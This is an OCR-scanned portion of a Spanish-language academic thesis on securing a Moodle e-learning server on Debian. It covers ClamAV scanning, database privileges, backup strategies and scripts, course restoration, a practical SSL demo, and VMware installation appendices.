fhome/patty/Descargas/unammmm, fw.png: OK
fhome/patty/Descargas/songs.zip: OK
fhome/patty/Descargas/creditos.zip: OK
fhome/patty/Descargas/unidad4, zip: OK
fhome/patty/Descargas/unidad2, zip: OK
fhome/patty/Descargas/unammmmz2. fw.png: 0K
fhome/patty/Descargas/unidad3. zip: OK
fhome/patty/Descargas/UnidadS, zip: OK

----------- SCAN SUMMARY - ----------
<nown viruses: 2820461

Zngine version: 0,97.8

Scanned directories: 1

Scanned files: 13

Infected files: O

Jata scanned: 107.12 MB

Jata read: 333.78 MB (ratio 0.32:1)
Time: 45.594 sec (O m 45 s)

Figura 28. Instalacion linea de comandos clamAV
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V.5.2.6 Auditorias regulares

Los programas auditores de seguridad son herramientas indispensables para el administrador de
un sistema, ya que permite detectar, de forma rutinaria, problemas de seguridad para los que
pudieran existir ataques conocidos.

Estos programas pueden operar o muchos niveles, desde la comprobacién de la pertenencia de
archivos a usuarios y grupos del sistema, hasta pruebas sobre aplicaciones instaladas para verificar

si estas tienen agujeros conocidos.

V.5.2.7 El visor de sucesos de Moodle

Desde Moodle se puede configurar el visor de sucesos de la plataforma. Toda actividad de

cualquier usuario se guarda en los registros del sistema. Se pueden visualizarlos ficheros logs desde



dentro de la plataforma en la carpeta Informes y luego Registros desde el bloque de
administraciéon. Nos saldra una pantalla que nos indicara el dfa que queremos ver los registros, si
queremos ver un curso en concreto o toda la plataforma, los participantes y las acciones a ver.

Estos registros se pueden descargar en formato ODT, en formato de texto plano o en formato

Excel para almacenarlos.

Los ficheros logs no es necesario almacenatlos, ya se almacenan directamente cuando se hace una
copia de seguridad de la base de datos. Si queremos tener copias de seguridad especificas de los
logs, se tiene que salvar la tabla mdl_log de la base de datos Moodle. Esto se puede hacer con el

phpmyadmin u otro programa de gestion de MySQL.

Si se tiene activada las estadisticas se pueden ver un informe con las estadisticas generales del sitio
Moodle. Este informe estadistico se puede enviar por correo a los usuarios elegidos. Desde estos
informes se puede acceder con facilidad a los registros que deseemos. Cada vez que se genera un
informe estadistico se consumen muchos recursos del sistema, asi que es conveniente que se

automatice a unas horas donde no haya trafico de usuarios.

V.6Interaccion con base de datos

Una gran porcién de dicha informacién requiere de un manejo especial, y puede ser provista por

base de datos.

En el pasado, las bases de datos solo podrian utilizarse al interior de las instituciones o en redes
locales, pero actualmente la web permite acceder a base de datos desde cualquier parte del mundo.
Estas ofrecen, a través de la red, un manejo dinamico y una gran flexibilidad de los datos, como

ventajas que no podtian obtenerse a través de otro medio informativo.

Con estos propositos, los usuarios de internet o Intranet un medio que pueda adecuarse a sus
necesidades de la informacion, con un costo, inversiéon de tiempo, y recursos minimos. Asimismo,
las bases de datos seran usadas para permitir el acceso y manejo de la variada informacién que se

encuentra a lo largo de la red.



V.6.1 Seguridad en las bases de datos

La evaluacion de este punto es uno de los mas importantes en la interconexion de un sistema Web
con base de datos. A nivel de una red local, se puede permitir o impedir, a diferentes usuarios el
acceso a cierta informacion, pero en internet se necesita de controles mas efectivos en este sentido,
ante posible espionaje, copia de datos, manipulaciéon de estos, etc.

La identificacién del usuario es una de las formas de guardar la seguridad. Las identidades y

permisos de usuario estan definidas en los archivos de control de acceso.

Pero la seguridad e integridad total de los datos puede conservarse, permitiendo el acceso a

distintos campos de una base de datos, solamente a usuarios autorizados para ello.

En este sentido, los datos pueden ser presentados a través del sistema Web de una forma segura, y

con mayor impacto en todos los usuarios de internet.

Para la integracion de las base de datos en el sistema web es necesario contar con una interfaz que
realice las conexiones, extraiga la informacién de la base de datos, le dé un formato adecuado de
tal manera que puede ser visualizada desde el navegador, y permita lograr sesiones interactivas

entre ambos, dejando que el usuario haga elecciones de la informacion que requiere.

V.6.2Privilegios en la base de datos

El concepto mas elemental en cuanto a la seguridad en la base de datos es no acceder a ella como
el usuario privilegiado, con esto evitamos el riesgo de que el atacante se otorgue permisos no

concebidos para el usuario del sistema.

Debemos definir el grupo de permisos que el sistema necesitara para funcionar en el perfil de cada
usuario, los permisos de lectura/escritura en una tabla restringen al usuario de realizar consultas o

modificaciones a las tablas. Es importante reconocer la responsabilidad que la aplicacion tendra



para gestionar que usuario es el apropiado para contactarse en una base de datos, con la finalidad

de evitar riesgos innecesarios y acotar el rango de afectaciéon que un ataque pudiera provocar.

Es recomendable definir vistas para evitar un contacto directo de la aplicacion con las tablas de la

base, agregando con esto otra capa de proteccion.

Es de gran importancia negar el acceso a procedimientos almacenados y a la ejecucion de
comandos de sistema que podria no solo poner en riesgo a la aplicacién y a la base de datos

mismos sino a todo lo que funcione en el servidor.

La proteccion que las restricciones en la base de datos brinda, es util e indispensable en cualquier
aplicacion pero no debemos perder de vista la responsabilidad que la aplicaciéon tiene sobre la
forma en que accedemos a la base de datos. De ahi el especial cuidado que debemos tener en la

manera en que los usuarios acceden al sistema.

V.7 Respaldos

Dentro de las tareas de mantenimiento, se encuentra la realizaciéon de respaldos periddicos del

equipo.

Es recomendable realizar respaldos completos de manera periddica, e intercalarlos con respaldos

incrementales.

Para que un respaldo sea util, es indispensable que pueda ser recuperado. Y para estar seguros de
esto, es necesario que se incluyan simulaciones periédicas donde se restauren los sistemas para

probar los respaldos.

Considerar la posibilidad de guardar copias de los respaldos en sitios remotos, para contingencias

mayores.



Tener en cuenta que la sensibilidad de la informacién contenida en un medio de respaldo es igual

a la informacién mas sensible que haya sido almacenada.

Las fallas dentro de los equipos de computo pueden ser ocasionas por muchos factores como
fallas de hardware, software, problemas con alimentacién eléctrica, fallos en conectividad de red y
desastres naturales como incendios, inundaciones, temblores, etc. Aunque no se puede prevenir
ninguno de estos eventos, es posible mitigar el impacto de los mismos sobre la informacién que

manejc.

Es necesario evaluar las necesidades concretas de la seguridad de la informacién almacenada en
los equipos, para establecer la estrategia de copias de seguridad que se considere mas idénea en

cada caso, en donde se contemplan aspectos como:

La importancia de los datos que se guardaran (no tienen la misma trascendencia un documento de

trabajo que una copia de respaldo de un programa).

La periodicidad con la que se crearan las copias o la cantidad de medios (capacidad y numero de
dispositivos para el almacenamiento) que se usaran y cuando se utilizaran cada uno de ellos.
La protecciéon contra fallos en los medios de almacenamiento usados (un numero alto minimiza el

riesgo de pérdida definitiva de la informacion).

El almacenamiento alternativo, es decir, la posibilidad de guardar en otra ubicacion diferente al

lugar de trabajo una de las copias durante un tiempo, antes de usarla de nuevo.

No existe un criterio definitivo que indique la periodicidad con la que deben realizarse las copias
de seguridad, pero se puede tomar en cuenta el tiempo que ha sido necesario para crear los

documentos (también su costo), o las consecuencias que provocatia su perdida.

Debe considerarse el tiempo que seran los respaldos almacenados en un medio, es decir el
periodo de retencion, el cual esta relacionado directamente con la rotacion de medios elegida.

Tipos de respaldo.



El respaldo mas conocido es el total, también denominado completo, crea una copia de todas las
carpetas y archivos seleccionados, independientemente de su estado anterior, esto es, sin tener en
cuenta si han sido modificados o creados desde la ultima copia de seguridad. Este tipo de respaldo

es la mas recomendada para respaldar un equipo entero.

La restauracion de este tipo de respaldos regresa el sistema al estado que tenfa antes del respaldo

sin necesitar ningun medio adicional.

Sin embargo una desventaja de este tipo de respaldos es la cantidad de almacenamiento que se

llega a ocupar y el tiempo que este genera.

- D

Por otro lado existe el respaldo incremental este tipo de copias guarda unicamente en el
dispositivo de respaldo, los archivos que hayan sido modificados o creados desde la ultima copia

incremental realizada.

La primera copia de este tipo, es idéntica por lo tanto es una copia total. Este tipo de copia es el

recomendado para respaldos mas frecuentes, por ejemplo aquellos que se llevan a cabo diario.

@) (Martes) [Miércoles] (Juevesj (Viernes] (Sébado] [Domingo]




V.7.1 Respaldo Incremental

La ventaja de este tipo de copias es que solo se respaldan los archivos nuevos o que han sido
modificados en el equipo, el tamafio del respaldo es pequefio puesto que no se hace una copia

entera de todo el sistema.

Las desventajas es que para restaurar un tipo de respaldo asi se necesita una copia entera del
equipo y tener disponibles los respaldos incrementales previos, y pues la restauraciéon puedo

tediosa si se tiene muchos medios de respaldo.

Como punto adicional, algunos manejadores como MySQL y PostgreSQL realizan respaldos
volcando la informacién de manera transparente (se puede ver la sentencias SQL y la informacion
contenida), mientras q otros como Sybase encapsulan la informacién, en este caso es necesatrio
comprobar la informacioén antes de llevar a cabo el respaldo. La figura 6 muestra la combinacion
de un respaldo total mas los subsecuentes incrementales que se generaron antes de una

contingencia.

V.7.2 Respaldo diferencial

Este tipo de respaldos toma como referencia el dltimo respaldo completo que se tenga y solo
almacena los archivos creados o modificados recientemente para hacer la copia diferencial de los

datos.



Las ventajas es que solo guarda los archivos que se hayan creado o modificado desde el ultimo
respaldo completo y por la tanto el tamano del respaldo se reduce significativamente por que no

guarda archivos redundantes

Las diferencias del respaldo incremental y diferencial mas significativas son las siguientes:

Para recuperar archivos desde un respaldo diferencial, se requiere el ultimo respaldo completo y la
version del respaldo diferencial que se desea recuperar.

Para recuperar archivos desde un respaldo incremental, se requiere el ultimo respaldo completo y

todas las versiones del respaldo incrementales desde el primero hasta la version deseada.

V.7.3Respaldo completo

Es posible implementar un esquema de respaldos para guardar la informacién importante en un
equipo alterno, para establecer esta funcionalidad se requiere cumplir los siguientes puntos:

Tener un script que realice el respaldo de los archivos importantes.

Crear una relacion de confianza para que la transferencia del respaldo se haga de manera

automatica.
Ejecutar una tarea programada que sera la encargada del respaldo y de la transferencia al servidor

de almacenamiento.

V.7.3.1Ejemplo de respaldo completo (script de respaldo)

Dentro del script se utilizara el comando tar para crear contenedores de archivos y directorios
denominados archivos.tar y opcionalmente comprime el archivo de salida.

La sintaxis del comando tar es la siguiente:

tar -cvzpf archivo_nuevo.tar.gz nombre_directorio



Donde,

c: Crear el contenedor (archive)

v: activa el modo verbose, despliega el proceso mientras se crea un archivo.
z: comprime el archivo de salida utilizando el programa gzip.

p: Preserva el duefio y el grupo del archivo empaquetado.

f: Nombre del archivo de salida.

El script va a realizar el respaldo de las bitacoras del sistema. En los sistemas Linux que
implementan la rotacién de bitdcoras periddicamente se cambian las biticoras cuando se ha
alcanzado el periodo maximo establecido o se ha rebasado el tamafio maximo de la bitacora y la

biticora anterior se comprime para archivarla.

En el servidor de origen se escribe un programa que haga el archivado de la informacién a

respaldar.

root@davinci2:~# vi respaldo.sh

#1/bin/sh

FECHA="date '"+%F"

RESPALDO=/root/respaldo-bitacoras-$FECHA .tar.gz

#respalda las bitacoras del sistema

/bin/tar -cvzpf SRESPALDO /var/log/

Una vez creado el script se asigna permisos de ejecucion solo por el usuario responsable del
respaldo.

root@davinci2:~# chmod 700 respaldo.sh _

V.7.3.1.1Tarea Programada

Para ejecutar periddicamente el script de respaldo se crea una tarea de cron que realice esta accion,

gracias a la relacién de confianza creada la tarea se realiza de manera automatica.

#mh dom mondow commad



01 * * * /root/respaldo.sh

Es necesario modificar el script de respaldo en el servidor origen para agregar la linea que copia el
respaldo al servidor destino.

#!/bin/sh

FECHA="date '"+%F"
RESPALDO=/root/respaldo-bitacoras-$FECHA .tar.gz
#respalda las bitacoras del sistema

/bin/tar -cvzpf $SRESPALDO /var/log/

#copia las biticoras al servidor de almacenamiento

scp SRESPALDO respaldos@192.168.127.102:~ /davinci/
#Bortra el respaldo después de copiarlo

rm $RESPALDO

Una vez realizada esta configuracion, el servidor realizara el respaldo de las bitacoras diario a las

1AM vy las copiara el servidor de almacenamiento.

V.7.4Restauracion

Las copias de seguridad son archivos comprimidos en zip que se crean para tener un respaldo si
es necesario ir a una versioén anterior, como por ejemplo, cuando se actualiza la plataforma. Las
copias de seguridad son costosas en CPU por lo que no hay que realizar varias copias al dia, es
mejor programarlas para una hora donde no haya muchos usuarios. Veremos las copias de

seguridad tanto de la plataforma como de los cursos.

V.7.4.1 Restauracion de la plataforma Moodle

Lo siguiente es la creacion y restauracion de copias de seguridad de una plataforma Moodle

incrustada en un servidor GNU/Linux Debian.

Los datos que hay que salvar son los de la base de datos, los archivos de datos y el codigo fuente.



Para la seguridad en lo que respecta a las bases de datos recomendamos el siguiente script que
puede ejecutarse en Unix para hacer una copia de la base de datos (es buena idea ejecutar dicho

script a diario mediante un cron programado):

cd mi_directorio de_backup/

mv moodle-database.sql.gz moodle-database-old.sql.gz

mysqldump-h example.com -u nombredeusuario —password=micontrasefia -C -Q -e -
createoptions

nombredemibasededatos > moodle-database.sql

gzip moodle-database.sql

Se puede crear copias de seguridad de la base de datos usando el gestor de base de datos.

En cuanto a la seguridad con los archivos de datos, estos archivos se almacenan en una carpeta
definida a la hora de instalar la plataforma Moodle. Normalmente, si no se ha cambiado la

configuracion por defecto debe estar en la siguiente ruta: /var/moodledata/

Para crear una copia de seguridad de los archivos simplemente se ejecuta una instruccién que

almacene dichos archivos en un zip.

# tar czvf moodledata.tgz /var/moodledata

Este método puede ser lento ya que se vuelven a comprimir archivos ya comprimidos y salvados.
Para una mejor gestiéon se puede usar rsync para comprimir sélo los archivos modificados o
nuevos.

Para la seguridad con el codigo fuente se siguen los mismos pasos para comprimir el cddigo
fuente, pero en vez de comprimir la carpeta de datos se comprime la carpeta donde estd alojada la

plataforma.

# tar czvf moodle.tgz /var/www/moodle/
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Figura 29. Pantalla con las copias de archivos para la copia de restauracion de un curso

Y por ultimo, para restaurar copias de seguridad los archivos comprimidos se descomprimen en
las respectivas carpetas. Se pueden seguir algunos pasos de seguridad:

Cambiar el nombre del directorio original de Moodle a otro diferente (asi lo conservara con otro
nombre) y colocar la copia de seguridad de Moodle en su lugar

Hacer una nueva base de datos, restaurar la copia de seguridad de base de datos en ella, y cambiar
en Moodle el archivo config.php para conectarse a esta nueva base de datos. Después se importa

la copia de seguridad a dicha nueva base de datos.

V.7.4.2 Restauracion de un curso en Moodle

Como administrador se pueden hacer regularmente copias de seguridad de un curso, esto es
bastante util para restaurar un estado anterior, recuperar datos perdidos e incluso migrar el curso a
otra plataforma. Para ello deben seguirse los siguientes pasos.

Como profesor o administrador, ir a la pagina principal del curso

Hacer clic en enlace de “Copia de seguridad...” desde el bloque de administracién

Desde la pantalla de configuracién es posible seleccionar los contenidos (actividades y usuarios) a
incluir en la copia de seguridad mediante los desplegables

Pulsar en Continuar



Pagina Principal (home) / Cursos | Miscelaneos
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Module 1: Background (1 week)
Module 2: Resistive Circuits (2 weeks)
Module 3: Reactive Circuits (2 weeks)
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Administracion del curso
Activar edicion
Editar ajustes
Usuarios
Filtros
Informes
Calificaciones
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Copia de respaldo
Restaurar
Importar
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c.e  Copia de respaldo ' Configuraciones iniciales
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1. Configuraciones iniciales »
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Incluir usuarios inscritos

Hacer andnima informacicn de usuarios
Incluir asignaciones de rol de usuario
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Incluir bloques

Incluir fitros

Incluir comentarios
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Incluir detalles de grado de finalizaciéon
de usuarios

Incluir bitécoras (logs) del curso

Incluir historial de calficaciones

Cancelar
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Después, es posible editar el nombre de la copia de seguridad y ver el listado de los contenidos

(actividades y usuarios).
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Cancelar

Pulsar en continuar, al final de la pagina
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En la siguiente ventana se nos da un listado de las acciones realizadas vy, al final, se nos indica el

resultado de la copia. Pulsar en continuar



ltems incluidos:

General Datos de usuario
Noticias )

Module 1: Background (1 week) Datos de usuario

Module 2: Resistive Circuits (2 Datos de usuario
weeks):

Module 3: Reactive Circuits (2 Datos de usuario
weeks)

Module 4: Frequency Analysis (2 Datos de usuario
weeks):

Module 5 (1 week): Datos de usuario

Previo Cancelar Realizar respaldo

Finalmente, se nos muestra el archivo que contiene la copia de seguridad

FOCULTAD DE - - - — N/
INGeniceria PaVvinci i ——
L SN —

Importar un archivo de respaldo

Achivs  Seleccione un archivo

..... ui ara subif
Area de respaldos de curso
Nombre del archivo Hora Tamaro Descargar Restaurar
respaldo-moadie2-course-3-¢ #-20130919-1313 mbz Thursday, 19 de September de 2013, 1313 434 4KB

E Gestionar archivos de respalda

Usa

ko Zona de respaldos privados del usuario

. Hombre del archivo Hora Tamafio Descargar Restaurar

Gestionar archivos de respaldo

St se desea se puede hacer una copia en un ordenador local, para aumentar la seguridad, este
proceso requiere bastante ancho de banda si el curso tiene mucho contenido. Para hacer una
copia local simplemente hay que seleccionar el archivo de copia de seguridad con el botén

derecho del ratén y seleccionar “guardar destino como...”

Para restaurar luego una copia de seguridad de un curso se siguen los siguientes pasos:



Con el rol de profesor o administrador, ir a la pagina principal

Hacer clic en el enlace de Archivos del bloque de Administracién
Subir la copia respaldo del curso

Hacer clic en enlace de “Restaurat...” desde el mentd de Administracion

Hacer clic en el botén “Subir un archivo” y elegir el archivo (zip) que contiene la copia de

seguridad a restaurar.

Pégina Principal (home) / Cursos | Miscelaneos ' ¢.& / Restaurar / Confirmar

INGeniaria Davinci =L

1. Confirmar » » » » » »
Pagina Principal (home) Detalles del respaldo
Mi hogar (drea personal)
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General Continuar
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Activar edicién
Editar ajustes
Usuarios
Filtros
Informes
Calificaciones
Insignias
Copia de respaldo
Restaurar

Hacer clic en el enlace Restaurar y seguir las instrucciones del procedimiento

Para restaurar luego el curso se permite elegir entre tres opciones de restauracion:

Nuevo curso: restaurar en un nuevo curso, no sin afectar al resto

Curso existente, borrando el primero: Al restaurar el curso debemos seleccionar un curso de los

ya existentes para sobrescribir este, es decir, restaura el curso pero sobrescribe el curso anterior.

Curso existente, agregando informacién: Al restaurar el curso existente, agregando informacion,
debemos seleccionar un curso de los ya existentes para afiadir el curso sobre este todo el

contenido del curso que se pretende restaurar al curso seleccionado.
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En caso de que se tengan actividades y recursos en el curso elegido, se afladen justo debajo de

estas actividades y mantiene los nombres de los temas.

Pégina Principal (home) / Cursos / Misceldneos / c.e / Restaurar / Configuraciones

INGeniaria Davinci o e ==

1. Confirmar » 2. Destino » 3. Configuraciones » » » »

Pigina Principal (home) Restaurar configuraciones

Después de restaurarlo se debe borrar la copia de seguridad para ahorrar espacio en el servidor.

Pagina Principal (home) / Cursos / Miscelaneos / c.e | Restaurar / Completo

INGenieria Davinci o =L
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El curso fue restaurado exitosamente, elja el botén inferior de continuar, que lo llevar a ver el curse que Usted restaurd
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Mi hogar (érea personal)
Paginas del sitio Continuar
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Capitulo VI Caso Practico

V1.1 Resumen

En este capitulo se explica el funcionamiento de la demostracion que se ha realizado para este
proyecto. Se ha instalado la plataforma Moodle con una pagina Web y se ha hecho diversas
pruebas de seguridad, tanto a nivel de software, como a nivel de programaciéon. Como se ha
comentado anteriormente el servidor Web es apache y el lenguaje de programacién php, los datos
se guardan en la base de datos MySQL, la instalaciéon de los distintos programas y configuracion
de los mismos para que se interrelacionen entre si esta explicado en capitulos anteriores, aqui se

va a indagar en la elaboracion de la seguridad y cuales han sido los pasos para implantar esta.

V1.2 Introduccion

Seguramente todo administrador de sistemas ha tenido que enfrentarse alguna vez a una pérdida
del rendimiento del sistema que gestiona. En ese caso sabra que no siempre es sencillo, por falta
de tiempo y recursos o por desconocimiento de las herramientas apropiadas, tener claros los
motivos por los que esto ha sucedido. En ocasiones, incluso se ha podido llegar a perder la
conectividad o bien ciertos equipos han podido desconectarse sin motivo aparente.

En la mayoria de ocasiones, las causas de estos problemas tienen un origen no premeditado y se
deben a una mala configuraciéon del sistema. Pero, en otras ocasiones, puede tratarse de ataques
inducidos por terceros que pretenden dejar fuera de servicio un servidor web mediante un ataque
DoS, husmear trafico o simplemente infectar los equipos con cédigo malicioso para que formen

parte de una red zombi o botnet'".

Botnet es un término que hace referencia a un conjunto de robots informadticos o bots, que se ejecutan de manera
auténoma y automatica.


http://es.wikipedia.org/wiki/Robot
http://es.wikipedia.org/wiki/Bot

En cualquier caso, conocer el origen de este tipo de incidentes es el primer paso para poder tomar
las contramedidas necesarias y conseguir una correcta proteccion. En este punto, los analizadores
de trafico pueden resultar de gran utilidad para detectar, analizar y correlacionar trafico

identificando las amenazas de red para, posteriormente, limitar su impacto.

Funcionamiento de la pagina Web

Se arranca el servidor apache con soporte SSL, para que la informacion vaya cifrada, para ello se

ejecuta lo siguiente:

~ation, you need to run:

c/init :
r:oap ... walting

Figura 30. Arranque del servidor Apache con soporte SSL

Arrancada la base de datos y el servidor, si se esctibe en el navegador IP/moodle aparecera la

pagina realizada.

Como se observa en la figura, en la parte de la derecha esta el inicio de sesioén, bajo la seguridad
de que nuestro trafico esta cifrado. Si se observa la parte inferior de la figura vemos que muestra
un candado, esto es debido a que se ha creado una Certification Authority (CA) que es la entidad
de confianza encargada de firmar certificados (CSR). Al entrar en un sitio seguro, se muestra la

siguiente informacion:
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Se observa como pide un usuario y una contrasefla, para ello se ha creado un formulario como el
que vemos en la figura de arriba, en el cual se introduce el usuario y el password y se inicia sesion

para poder navegar por la pagina bajo criptografia SSL, la pagina que se muestra es la siguiente:
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Figura 31. Usuario registrado.



Se observa que hay varios cursos disponible en los que el usuario puede entrar, el administrador es
quien los da de alta y les asigha una contrasena a cada usuario, como podemos ver el usuario
“Monica”no tiene los privilegios para acceder a Algebra Lineal- Examen, ya que ¢l se registré pero

el administrador no le ha otorgado los permisos para esta seccion:

GG @ Mozita Firefox start Page ) Alineal x|+ | e |
€ @ 192168248128 5] AlB & & i

pciones de inscripcion

FDCULTDD Da e

INnGenieria Davinci N 2 —w—
Opciones de inscripcion
S e ey > Algebra Lineal - Examen
e

Figura 32. Usuario sin privilegios.

Sin embargo si accede un usuario el cual le ha sido asignado una contrasefia por el administrador,

si que tiene acceso:

FacuLTan na

INnGenieria Davinci

Pagnas del sito
M pertil

Examen de Algebra Lineal

! Exsmon «

Adminisiracion del curso No hiay mansejos en espara

Ajustas do mi perfl

Figura 33. Usuario con privilegios
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TR @ oo ponsattoge | ™ atwest mens = . - Lot

|4 @ 192168.248.138 oot o iz sheTia 13 77 v e || Googie 2 B 4+ A @~

A 50 ha estabiocdo un limie de 1 ntonos
vara resalver of examen Esti a punis do
comenzar un nuewo inteato: ¢Desea

contausr’

Cancelar | Iniciar ntanio

Figura 34. Ingresa al examen y se le configure tres intentos de prueba.

VLR @ wostaetonsunroge | aren . - . _— o1 .

5s|mmmmm‘-m,1"v-.m.-,,,r-.rm.,: 1 v @ ||l Googte P B & #-

Pégna Principal (home)  Mis cursos — Miscelinecs A Lnesl  Examen de Algstra Linesl  Examen 4
el pavinci S v ———=
NAVEGACION DENTRO DEL EXAMEN '_1
5o rergonde e
alo) peall POS
Temunar inlento o ady2
.
ey © bay
peguTs Ooe 4yt
o aays i
[r—1
2 [
P e 100 Sewcoone uns
O aTam
S
[e—, b T=Sam
= =
O AT
Frogunes 3
= |
——
T -
o Thi
-
g 7 ¢ Anthemiteno
# o sméwco

Figura 35. Ejemplo de examen.

Finalmente el usuario vera el siguiente cursodinimicamente.



Inicio
Objetivos
Introduccién
Temario

Objetivo

Introduccién

Ley de Ohm

Ley deKirchhoff
Elementos Electricos
Representacion
Bibliografia

Objetivo

Introduccién

Respuesta en ESP
Potencia en los C.Eléctricos
Circuitos Trifdsicos
Bibliografia

Inicio
Objetivos
Introduccién
Temario

Objetivo
Introduccién
Teorema de Sustitucién

Universidad Nacional Autonoma de México

Facultad de Ingenieria

Departamento de Control y Robética

ta: Observa

CIRCUITOS ELECTRICOS

<prev 112 34|56 78|39 next > last >>

Restricciones de aplicacion de Kirchhoff

principal restriccion de ésta ley es que: sélo se debe aplicar para circuitos con de

file:///C:/Users/Patruskinny/Desktop/YUI_CIRCUITOS/leyKirchhoffs.html#

los ejemplos de (1y2)quese en el siguiente applet




Conclusiones

La seguridad de una aplicaciéon web comienza desde su planeacion y disefio.

Se deben considerar aspectos muy diversos que incluyen tanto recursos fisicos como humanos.

Al elegir Linux Debian en el presente trabajo representan opciones viables para la implementacion
de seguridad en los servidores. Debian es un Sistema Operativo que debe considerarse seriamente
ya que presenta numerosas ventajas, ademas de lo econémico de su adquisicion, las herramientas

de seguridad que incluye hacen factible su configuracién como servidor Web.

Los Requerimientos de Hardware para la instalacién son otra ventaja en la utilizaciéon de este
Software ya que demanda pocos recursos para un funcionamiento éptimo. Por tanto los costos de
adquisicion de Hardware disminuyen considerablemente en relacion a otro Sistema Operativo.

Las técnicas de proteccion estudiadas son soluciones eficientes a los problemas de seguridad, ya
que son una combinaciéon de Hardware y Software capaces de detectar, prevenir y atenuar
cualquier situacion de peligro para el sistema. La decision sobre su implantacion al sistema esta en
dependencia de las necesidades o del grado de seguridad que se desee adquirir. "Agregando

métodos de seguridad no significa necesariamente un aumento en la seguridad”.

Mantenerse actualizado en su area de desempefio, pero también tener conocimientos basicos de

otras areas: bases de datos, configuracion de servidores, redes, etc.

Se recomienda el uso de un modelo de desarrollo de software, por ejemplo el modelo-vista-

controlador (MVC), para tener mayor control sobre la aplicacion.

Es conveniente utilizar alguna herramienta que nos ayude a detectar ciertos huecos o fallas en la

funcionalidad de la aplicacion.



Adicionalmente se encontré que existen documentos que nos ayudan a implementar de manera
formal una aplicacion, tal es el caso del ISO 12207, el cual habla del ciclo de vida de los sistemas
de software.

Mantenerse informado sobre los ataques o vulnerabilidades existentes. El top 10 de OWASP es
una buena referencia.

Finalmente se recomienda el uso de Moodle como herramienta de gran utilidad para la ensefianza
a distancia; ya que posee una serie de ventajas que les permiten a los estudiantes comprender con

mayor facilidad el contenido del mismo y de manera segura.



Apéndice A

Instalacién de VMware Workstation 9

1. Ejecutar el programa instalador de VMware Workstation (VMware-workstation-full-9.0.0-
203739.exe)

VMware Workstation Setup

Welcome to the installation wizard for VMware
Workstation

The installation wizard will install YMware Workstation on your

computer. To continue, didk Next.

WARNING: This program is protected by copyright law and
international treaties,

VMware®

Workstation 9

| Mext = | Cancel |

2. Esperar a que termine la carga de los archivos necesarios para la instalaciéon y nos muestre

la pantalla del asistente de instalacion

VMware Workstation Setup

Welcome to the installation wizard for VMware
Workstation

The installation wizard will install YMware Workstation on your
computer, To continue, dick Next.

WARNING: This program is protected by copyright law and
international treaties,

VMware®

Workstation 9

| Mext = | Cancel |

3. Dar clic en Next, nos mostrara el tipo de instalaciéon que podremos realizar

4. Dar clic en Typical, ahora nos mostrara la ruta de instalacién del programa



5.

6. Dar clic en Next, nos muestra si estamos listos para continuar con la instalacion

Dar clic en Next, en seguida nos mostrara los accesos directos que deseamos colocar en el

sistema operativo

VMware Workstation Setup

Destination Folder
| Click Next to install to this folder or dick Change to install to a different folder.

@ Install VMware Workstation to:

C:\Program Files (x88) \WMware\WMware Workstation),

| < Back | Mext = | Cancel |

Software Updates
. When would you like to chedk for updates of your software?

Check for product updates on startup
When VMware Workstation starts, check for new versions of the application and installed

software components.
Learn More
| <gack | Next> | Cancel |I
VhMware Workstation Setup
Shortcuts
. Select the shortcuts you wish to place on your system.
Create shortcuts for VMware Workstation in the following places:
Desktop

[[] Start Menu Programs folder

\ <Back |  MNext> | Cancal |I




Ready to Perform the Requested Operations @
I

Click Continue to begin the process.

If you want to review or change any of your installation settings, dick Badk. Click Cancel to
exit the wizard,

| < Back [ Continue | Cancel | I

7. Damos clic en Continue, para continuar con la instalacién y esperaremos un poco

Performing the Requested Operations Q

Flease wait while the wizard performs the requested operation. This may take several
minutes.,

Status: Installing and configuring additional component
C:\Users\Patricia\AppDataLocal\Tempymware _1380038488 \voredist_x86.exe

8. Damos clic en skip para poder utilizar la versién o prueba

9. Por ultimo damos clic en Restart Now para reiniciar nuestro equipo

10. Una vez iniciado nuestro equipo daremos clic en inicio, todos los programas y VMware
11. Observamos que se instalaron 3 programas (Virtual Network Editor, VMware Player y
12. VMware Workstation) daremos clic en el dltimo

13. Aceptaremos la licencia y daremos clic en Ok



License Agreement
Please read the following license agreement carefully.

VMWARE END USER LICENSE AGREEMENT 3

PLEASE NOTE THAT THE TERMS OF THIS END USER LICENSE AGREEMENT
SHALL GOVERN YOUR USE OF THE SOFTWARE, REGARDLESS OF ANY
TERMS THAT MAY APPEAR DURING THE INSTALLATION OF THE
SOFTWARE.

IMPORTANT-EREAD CARFFULLY: EY DOWNLOADING, INSTALLING, OR.

USING THE SOFTWARE, YOU (THE INDIVIDUAL OR LEGAL ENTITY) AGREE TO
EE BOUND EY THE TERMS OF THIS END USER LICENSE AGREEMENT

“EULA™. IF YOU DO NOT AGREE TO THE TERMS OF THIS EULA. YOUMUST ™

() Yes, I accept the terms in the license agreement

@) Mo, I do not accept the terms in the license agreement

14. Tendremos instalado VMware Workstation.

File Edit View VM Tabs Help |

[ R | B © e |

Library x

| G ome < |
Q Type here to search -

1l My Computer

VMware” Workstation 9

P create a New Virtual Machine
? Create 3 virtual machine on this computer.

) = Open a Virtual Machine
U Open a virtual machine an this computer,

Virtual Network Editor
Change the network configuration used by
virtual machines on this computer.

Workstation Preferences
Customize Viware Warkstation to your way

of working
5 Connect to a Remote Server Software Updates
Open virtual machines on a remote server, ( | Check for software updates for Viware
L Workstation.
Virtualize a Physical Machine y . Help
. Create a virtual machine from an existing { | View the help topics for VMware
physical machine. Y Workstation.
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Apéndice B

Creaciéon de una maquina virtual

1. Iniciar VMware Workstation
2. Dirigirse al menu y dar clic en File, New, Virtual Machine para poder crear una nueva

maquina virtual

& Debian 7 - VMware Workstation 5 [
[File| €dit View VM Tabs Help |
e — |
1 New Virtual Machine. cuieN F |
New Window L »
Open. ans0 |
Close Tab CrrlsW
- Connect to Server [T
|| B Virtualize a Physical Machine. hine sett

EXport to OVF.
|| & Map Virtual Disks.

Exit 268
) 8068
Using file CAUs. ~ Virtual Machine Details
Auto detect State: Powered off
Configuration file: CA\L
S Lo uments\Virtual
@ Us8 Controller Present
I OSomdCard  Autodetect e
= Printer Present Hardware compatibility: Workstat
4 machine
W Dispiay Auto detect

3. Seleccionaremos personalizado (Custom) y daremos clic en Next

New Virtual Machine Wizard -

Welcome to the New Virtual
Machine Wizard

What type of configuration do you want?

() Typical (recommended)

Create a Workstation 9.0 virtual machine
in o few easy steps.

VMware (@) custom (advanced)

Workstation 9 Create a virtual machine with advanced

options, such as a SCSI controller type,
virtual disk type and compatibility with
older VMwiare products.

4. Seleccionamos la compatibilidad del hardware de nuestra maquina virtual (nos indica con

que software sera compatible y las limitaciones que tendra) y damos clic en Next
